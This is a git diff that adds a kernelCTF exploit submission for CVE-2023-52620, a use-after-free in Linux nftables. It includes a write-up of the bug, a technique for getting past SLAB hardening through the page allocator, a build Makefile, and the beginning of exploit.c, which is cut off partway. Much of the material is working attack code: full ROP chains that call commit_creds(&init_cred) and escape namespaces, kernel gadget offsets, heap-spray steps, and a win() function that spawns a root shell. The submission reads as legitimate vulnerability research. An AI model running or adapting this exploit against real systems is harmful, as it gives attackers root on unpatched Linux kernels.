diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..b9f1f068d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/exploit.md @@ -0,0 +1,401 @@ +# Overview + +This vulnerability was found in nftables and was patched in June 2023. However, the patch was mistakenly missed in the LTS version and the exploit was available in the LTS kernel for 8 months. Therefore, I reported this to the maintainer so that the patch could be committed to the LTS version. + +The vulnerability is caused by being able to set a timeout on an anonymous set. As shown in `nf_tables_newset`, there is no validation of an anonymous set when setting timeout. + +```c +static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info, + const struct nlattr * const nla[]) +{ + ... + desc.timeout = 0; + if (nla[NFTA_SET_TIMEOUT] != NULL) { + if (!(flags & NFT_SET_TIMEOUT)) + return -EINVAL; + + err = nf_msecs_to_jiffies64(nla[NFTA_SET_TIMEOUT], &desc.timeout); + if (err) + return err; + } + ... +``` + +Binding an anonymous set to `lookup expr` and then deleting expr calls `nf_tables_deactivate_set`. This function calls `nft_map_deactivate` to deactivate objects mapped to elements of the set if it is an anonymous set. + +```c +void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set, + struct nft_set_binding *binding, + enum nft_trans_phase phase) +{ + ... + case NFT_TRANS_PREPARE: + if (nft_set_is_anonymous(set)) { + if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT)) + nft_map_deactivate(ctx, set); + + nft_deactivate_next(ctx->net, set); + } + nft_use_dec(&set->use); + return; + ... +} +``` + +Then, when the gc is executed in `nft_set_commit_update`, `nft_trans_gc_catchall_sync` calls `nft_setelem_data_deactivate` to deactivate the objects mapped to the set element. As a result, the `nft_chain` or `nft_object` mapped to the set element can be deactivated twice. + +```c +struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc) +{ + struct nft_set_elem_catchall *catchall, *next; + const struct nft_set *set = gc->set; + struct nft_set_elem elem; + struct nft_set_ext *ext; + + WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net)); + + list_for_each_entry_safe(catchall, next, &set->catchall_list, list) { + ext = nft_set_elem_ext(set, catchall->elem); + + if (!nft_set_elem_expired(ext)) + continue; + + gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL); + if (!gc) + return NULL; + + memset(&elem, 0, sizeof(elem)); + elem.priv = catchall->elem; + + nft_setelem_data_deactivate(gc->net, gc->set, &elem); + nft_setelem_catchall_destroy(catchall); + nft_trans_gc_elem_add(gc, elem.priv); + } + + return gc; +} +``` + +We can trigger a UAF from this vulnerability as follows. First, create a victim set and a victim chain, and add a set element to this victim set that points to the victim chain. At this point, the victim chain's reference count (`nft_chain->use`) is set to 1. We then create an immediate expr pointing to the victim chain to create a dangling pointer. Now, the reference count of the victim chain becomes 2. Then, when the vulnerability is triggered, the victim chain's reference count is decremented twice to zero. Since the reference count of the victim chain is zero, the chain can be free. As a result, the victim chain is left as a dangling pointer in the immediate expr. + +# KASLR Bypass and Information Leak + +To bypass KASLR, I used the `struct nft_expr`, which stores the address of the `struct nft_expr_ops`. Since the address of `nft_expr_ops` is a kernel address, we can bypass KASLR by reading it. We can also get the heap address by reading the list in the `struct nft_rule`. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used `nft_counter_ops`. + +```c +struct nft_verdict { + u32 code; + struct nft_chain *chain; +}; + +struct nft_data { + union { + u32 data[4]; + struct nft_verdict verdict; + }; +} __attribute__((aligned(__alignof__(u64)))); + +struct nft_immediate_expr { + struct nft_data data; + u8 dreg; + u8 dlen; +}; + +struct nft_expr { + const struct nft_expr_ops *ops; + unsigned char data[] + __attribute__((aligned(__alignof__(u64)))); +}; + +struct nft_rule { + struct list_head list; + u64 handle:42, + genmask:2, + dlen:12, + udata:1; + unsigned char data[] + __attribute__((aligned(__alignof__(struct nft_expr)))); +}; +``` + +When the vulnerability is triggered, the reference counter of `nft_chain` is decremented twice. Therefore, we used `immediate expr` to create a dangling pointer referencing this victim `nft_chain`. The `immdedicate expr` uses the `struct nft_immediate_expr` and is stored in the data field of the `struct nft_expr`. After binding `immediate expr` to the victim `nft_chain`, the dangling pointer is created by triggering the vulnerability to free the victim chain. The name of the freed chain can then be read through `nft_immediate_expr.data.verdict.chain`. We spray `nft_expr` (`kmalloc-cg-16`) and `nft_rule` (`kmalloc-cg-96`) to the freed `chain->name` to read `nft_expr->ops` and `nft_rule->list` to get the kernel text address and heap address of `kmalloc-cg-96`. + +For the mitigation kernel, we used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address. + +# RIP Control + +```c +struct nft_chain { + struct nft_rule_blob __rcu *blob_gen_0; + struct nft_rule_blob __rcu *blob_gen_1; + struct list_head rules; + struct list_head list; + struct rhlist_head rhlhead; + struct nft_table *table; + u64 handle; + u32 use; + u8 flags:5, + bound:1, + genmask:2; + char *name; + u16 udlen; + u8 *udata; + + /* Only used during control plane commit phase: */ + struct nft_rule_blob *blob_next; +}; +``` + +When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`. We leave the chain freed and spray an object to create a fake blob in `blob_gen_0`. + +```c +unsigned int +nft_do_chain(struct nft_pktinfo *pkt, void *priv) +{ + ... +do_chain: + if (genbit) + blob = rcu_dereference(chain->blob_gen_1); + else + blob = rcu_dereference(chain->blob_gen_0); + + rule = (struct nft_rule_dp *)blob->data; + last_rule = (void *)blob->data + blob->size; +next_rule: + regs.verdict.code = NFT_CONTINUE; + for (; rule < last_rule; rule = nft_rule_next(rule)) { + nft_rule_dp_for_each_expr(expr, last, rule) { + if (expr->ops == &nft_cmp_fast_ops) + nft_cmp_fast_eval(expr, ®s); + else if (expr->ops == &nft_cmp16_fast_ops) + nft_cmp16_fast_eval(expr, ®s); + else if (expr->ops == &nft_bitwise_fast_ops) + nft_bitwise_fast_eval(expr, ®s); + else if (expr->ops != &nft_payload_fast_ops || + !nft_payload_fast_eval(expr, ®s, pkt)) + expr_call_ops_eval(expr, ®s, pkt); + + if (regs.verdict.code != NFT_CONTINUE) + break; + } +``` + +```c +static void expr_call_ops_eval(const struct nft_expr *expr, + struct nft_regs *regs, + struct nft_pktinfo *pkt) +{ +#ifdef CONFIG_RETPOLINE + unsigned long e = (unsigned long)expr->ops->eval; +#define X(e, fun) \ + do { if ((e) == (unsigned long)(fun)) \ + return fun(expr, regs, pkt); } while (0) + + X(e, nft_payload_eval); + X(e, nft_cmp_eval); + X(e, nft_counter_eval); + X(e, nft_meta_get_eval); + X(e, nft_lookup_eval); + X(e, nft_range_eval); + X(e, nft_immediate_eval); + X(e, nft_byteorder_eval); + X(e, nft_dynset_eval); + X(e, nft_rt_get_eval); + X(e, nft_bitwise_eval); +#undef X +#endif /* CONFIG_RETPOLINE */ + expr->ops->eval(expr, regs, pkt); +} +``` + +`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the leaked heap address (LTS, COS) or CPU entry area (mitigation) to control the RIP. For LTS kernel, the fake blob object with the fake expr is allocated in `kmalloc-cg-256`. I chose this size because it is large enough to store the ROP payload and is the largest size we can spray with `nft_table->udata`. For COS kernel, the fake blob object with the fake expr is allocated in `kmalloc-cg-192`. I chose this size because we're using a string type to leak the heap address, so I don't want null bytes in the heap address. `kmalloc-cg-192` is the largest size that does not include null bytes in the heap address. For mitigation kernel, we allocate the fake blob object larger than 0x2000 to use page allocator. + +# Post-RIP + +For LTS kernel, the ROP payload is stored in `chain->blob_gen_0` allocated in `kmalloc-cg-256` and the leaked heap address allocated in `kmalloc-cg-96`. + +When `eval()` is called, `RBX` points to `kmalloc-cg-256+0x10`, which is the beginning of the `nft_expr` structure. + +```c +void fake_ops_96(uint64_t* data){ + int i = 0; + + // expr->ops->eval() + data[i++] = kbase + PUSH_RBX_POP_RSP_RBP; +} + +void rop_chain_256(uint64_t* data){ + int i = 0; + + // nft_rule_blob.size > 0 + data[i++] = 0x100; + // nft_rule_blob.dlen > 0 + data[i++] = 0x100; + + // fake ops addr + data[i++] = kmalloc_96; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + POP_RDI_RET + data[i++] = getpid(); + data[i++] = kbase + FIND_TASK_BY_VPID; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + POP_RSI_RET; + data[i++] = RCU_READ_LOCK_NESTING_OFF; + data[i++] = kbase + ADD_RAX_RSI_RET; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + POP_RCX_RET; + data[i++] = 0; + data[i++] = kbase + MOV_RAX_RCX_RET; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} +``` + +For COS kernel, the ROP payload is stored in `chain->rules_gen_0[0]` allocated in `kmalloc-cg-192`. + +When `eval()` is called, `RBX` points to `kmalloc-cg-192+0x0`, which is the beginning of the `nft_rule` structure. LTS kernel (v6.1.x) uses `struct nft_rule_blob`, while COS kernel (v5.15.x) uses a double pointer of `struct nft_rule`, which caused the difference. Also, it is not necessary to bypass the rcu protected section when performing ROP on the COS kernel. + +```c +void rop_chain(uint64_t* data){ + int i = 0; + + // This structure overlaps the struct nft_rule + // struct nft_rule { + // struct list_head list; /* 0 16 */ + // u64 handle:42; /* 16: 0 8 */ + // u64 genmask:2; /* 16:42 8 */ + // u64 dlen:12; /* 16:44 8 */ + // u64 udata:1; /* 16:56 8 */ + // unsigned char data[]; /* 24 0 */ + + // RBX contains the address of nft_rule + // First two ROP chain elements are overwriting the nft_rule.list + data[i++] = kbase + PUSH_RBX_POP_RSP_RBP; + data[i++] = kbase + POP_R12_R13_RET; + + // nft_rule.handle == 0xffff, nft_rule.dlen > 0 + data[i++] = 0xffff | ((unsigned long) 0x8 << 44); + + // fake ops addr + data[i++] = kmalloc_192; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} +``` + +For mitigation kernel, the ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator. + +When `eval()` is called, `RBX` points to `chain->blob_gen_0+0x10`, which is the beginning of the `nft_expr` structure. + +```c +void rop_chain(uint64_t* data){ + int i = 0; + + // nft_rule_blob.size > 0 + data[i++] = 0x100; + // nft_rule_blob.dlen > 0 + data[i++] = 0x100; + + // fake ops addr + data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval); + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + POP_RDI_RET; + data[i++] = getpid(); + data[i++] = kbase + FIND_TASK_BY_VPID; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + POP_RSI_RET; + data[i++] = RCU_READ_LOCK_NESTING_OFF; + data[i++] = kbase + ADD_RAX_RSI_RET; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + POP_RCX_RET; + data[i++] = 0; + data[i++] = kbase + MOV_RAX_RCX_RET; + + // Bypass "schedule while atomic": set oops_in_progress = 1 + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + OOPS_IN_PROGRESS; + data[i++] = kbase + MOV_RSI_RDI_RET; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/novel-techniques.md new file mode 100644 index 000000000..ee9b69197 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/novel-techniques.md @@ -0,0 +1,131 @@ +# Novel Techniques + +## Bypassing kernelCTF SLAB Mitigation Using Page Allocator + +The mitigation kernel in the kernelCTF applies three mitigations to SLAB: `CONFIG_SLAB_VIRTUAL`, `CONFIG_KMALLOC_SPLIT_VARSIZE` and `CONFIG_RANDOM_KMALLOC_CACHES`. These mitigations are applied in the `kmalloc_slab` when allocating objects using `kmalloc` [2]. + +```c +static __always_inline +void *__do_kmalloc_node(size_t size, gfp_t flags, int node, unsigned long caller) +{ + struct kmem_cache *s; + void *ret; + + if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) { + ret = __kmalloc_large_node(size, flags, node); // [1] + trace_kmalloc(caller, ret, size, + PAGE_SIZE << get_order(size), flags, node); + return ret; + } + + s = kmalloc_slab(size, flags); // [2] + + if (unlikely(ZERO_OR_NULL_PTR(s))) + return s; + + ret = __kmem_cache_alloc_node(s, flags, node, size, caller); + ret = kasan_kmalloc(s, ret, size, flags); + trace_kmalloc(caller, ret, size, s->size, flags, node); + return ret; +} + +void *__kmalloc_node(size_t size, gfp_t flags, int node) +{ + return __do_kmalloc_node(size, flags, node, _RET_IP_); +} +EXPORT_SYMBOL(__kmalloc_node); + +void *__kmalloc(size_t size, gfp_t flags) +{ + return __do_kmalloc_node(size, flags, NUMA_NO_NODE, _RET_IP_); +} +EXPORT_SYMBOL(__kmalloc); +``` + +However, slab uses a maximum size of 0x2000 (8192), so when `kmalloc` allocates an object with a size larger than 0x2000, it uses the `__kmalloc_large_node` to allocate the object [1]. + +```c +/* + * To avoid unnecessary overhead, we pass through large allocation requests + * directly to the page allocator. We use __GFP_COMP, because we will need to + * know the allocation order to free the pages properly in kfree. + */ + +static void *__kmalloc_large_node(size_t size, gfp_t flags, int node) +{ + struct page *page; + void *ptr = NULL; + unsigned int order = get_order(size); + + if (unlikely(flags & GFP_SLAB_BUG_MASK)) + flags = kmalloc_fix_flags(flags); + + flags |= __GFP_COMP; + page = alloc_pages_node(node, flags, order); + if (page) { + ptr = page_address(page); + mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B, + PAGE_SIZE << order); + } + + ptr = kasan_kmalloc_large(ptr, size, flags); + /* As ptr might get tagged, call kmemleak hook after KASAN. */ + kmemleak_alloc(ptr, size, 1, flags); + kmsan_kmalloc_large(ptr, size, flags); + + return ptr; +} +``` + +In `__kmalloc_large_node`, memory is allocated directly from the `page allocator` without using SLAB for optimization. Therefore, the above three mitigations do not apply to objects allocated in `__kmalloc_large_node`. + +```c +static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size) +{ + struct nft_rule_blob *blob; + + /* size must include room for the last rule */ + if (size < offsetof(struct nft_rule_dp, data)) + return NULL; + + size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old); + if (size > INT_MAX) + return NULL; + + blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [3] + if (!blob) + return NULL; + + blob->size = 0; + nft_last_rule(blob, blob->data); + + return blob; +} +``` + +The exploit uses a blob object from `nft_chain`, which can be allocated to arbitrary size by the user in `nf_tables_chain_alloc_rules` [3]. Therefore, we can bypass the mitigation, allocate a blob object larger than 0x2000 and spray it using another larger than 0x2000 object. + +```c +static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys, + unsigned int flags, struct used_address *used_address, + unsigned int allowed_msghdr_flags) +{ + ... + } else if (ctl_len) { + BUILD_BUG_ON(sizeof(struct cmsghdr) != + CMSG_ALIGN(sizeof(struct cmsghdr))); + if (ctl_len > sizeof(ctl)) { + ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); // [4] + if (ctl_buf == NULL) + goto out; + } + err = -EFAULT; + if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) + goto out_freectl; + msg_sys->msg_control = ctl_buf; + msg_sys->msg_control_is_user = false; + } + ... +``` + +We used `ctl_buf` from `____sys_sendmsg` to spray the chain's blob object. Since `ctf_buf` also allows the user to allocate objects of arbitrary size, we were able to allocate a size larger than 0x2000 `[4]`. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..fda2df159 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=761da2935d6e18d178582dbdf315a3a458555505 (netfilter: nf_tables: add set timeout API support) +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e26d3009efda338f19016df4175f354a9bd0a4ab (netfilter: nf_tables: disallow timeout for anonymous sets) +- Affected Version: v4.1-rc1 - v6.4-rc7 +- Affected Component: net/netfilter +- Cause: Use-After-Free +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-52620 +- Description: In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: disallow timeout for anonymous sets Never used from userspace, disallow these parameters. diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/Makefile b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/Makefile new file mode 100644 index 000000000..9c2616dd0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/Makefile @@ -0,0 +1,37 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +exploit: + gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + ./exploit + ./exploit + +clean: + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit new file mode 100755 index 000000000..522015266 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit.c b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit.c new file mode 100644 index 000000000..f8a68e131 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/exploit.c @@ -0,0 +1,848 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +#define TABLE_SPRAY 0x100 +#define SET_SPRAY 0x10 +#define BUF_SIZE 0x1000 * 0x100 +#define RETRY_MAX 3 + +#define KMALLOC_32_SIZE 32 +#define KMALLOC_192_SIZE 192 +#define NFT_RULE_HEADER_SIZE 25 + +#define FIND_TASK_BY_VPID 0x105680 +#define SWITCH_TASK_NAMESPACES 0x10ce30 +#define COMMIT_CREDS 0x10e830 +#define INIT_CRED 0x2462180 +#define INIT_NSPROXY 0x2461f40 +#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x1201106 +#define NFT_COUNTER_OPS 0x1acc8c0 + +#define PUSH_RBX_POP_RSP_RBP 0xe4fc59; // 0xffffffff81e4fc59 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404300 +#define POP_RDI_RET 0x228072; // 0xffffffff81228072 : pop rdi ; jmp 0xffffffff82404300 +#define POP_RSI_RET 0x008003; // 0xffffffff81008003 : pop rsi ; jmp 0xffffffff82404300 +#define MOV_RDI_RAX_RET 0x1002d2b; // 0xffffffff82002d2b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404300 +#define POP_R12_R13_RET 0x0f8048 // 0xffffffff810f8048 : pop r12 ; pop r13 ; jmp 0xffffffff82404300 + +#define CHAIN_NAME_OFF 0x70 + +uint64_t kbase = 0; +uint64_t counter_ops = 0; +uint64_t kmalloc_192 = 0; + +char* buf; +struct nlmsghdr * nlh; +struct mnl_nlmsg_batch * batch; +struct mnl_socket * nl; +uint32_t portid; +uint8_t family = NFPROTO_IPV4; +int seq = 0; +int handle = 0, handle_leak_kbase = 0, handle_leak_heap = 0, handle_rop = 0; + +char * table1_name = "table1"; +char * set_leak_name = "set_leak_name"; +char * set_rop_name = "set_rop"; +char * chain_base_name = "chain1"; +char * chain_dummy_name = "chain_dummy_name"; +char * chain_leak_name = "chain_leak_name"; +char * chain_rop_name = "chain_rop_name_chain_rop_name_rop_namechain_rop_name_chain_rop_name_rop_namechain_rop_name_chain_rop_name_rop_namechain_rop_name_"; + +void win(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char* shell[] = { + "/bin/sh", + "-c", + "/bin/cat /flag && /bin/sh", + NULL, + }; + execve(shell[0], shell, NULL); + + exit(0); +} + +void set_affinity(bool is_set){ + cpu_set_t my_set; + int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (cpu_cores == 1) return; + + CPU_ZERO(&my_set); + + if(is_set) + CPU_SET(0, &my_set); + else{ + CPU_SET(1, &my_set); + } + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = 1; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0600); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); + + net_if("lo", -1, IFF_UP); +} + +uint64_t _user_rip = (uint64_t) win; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed\n"); + + write(sockfd, "AAAA", 4); + + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + close(sock); + close(sfd); + + return; +} + +void trig_sock(){ + int sfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + exit(0); + } + + /* Trigger the network hook */ + trig_net_sock(); +} + +void rop_chain(uint64_t* data){ + int i = 0; + + // This structure overlaps the struct nft_rule + // struct nft_rule { + // struct list_head list; /* 0 16 */ + // u64 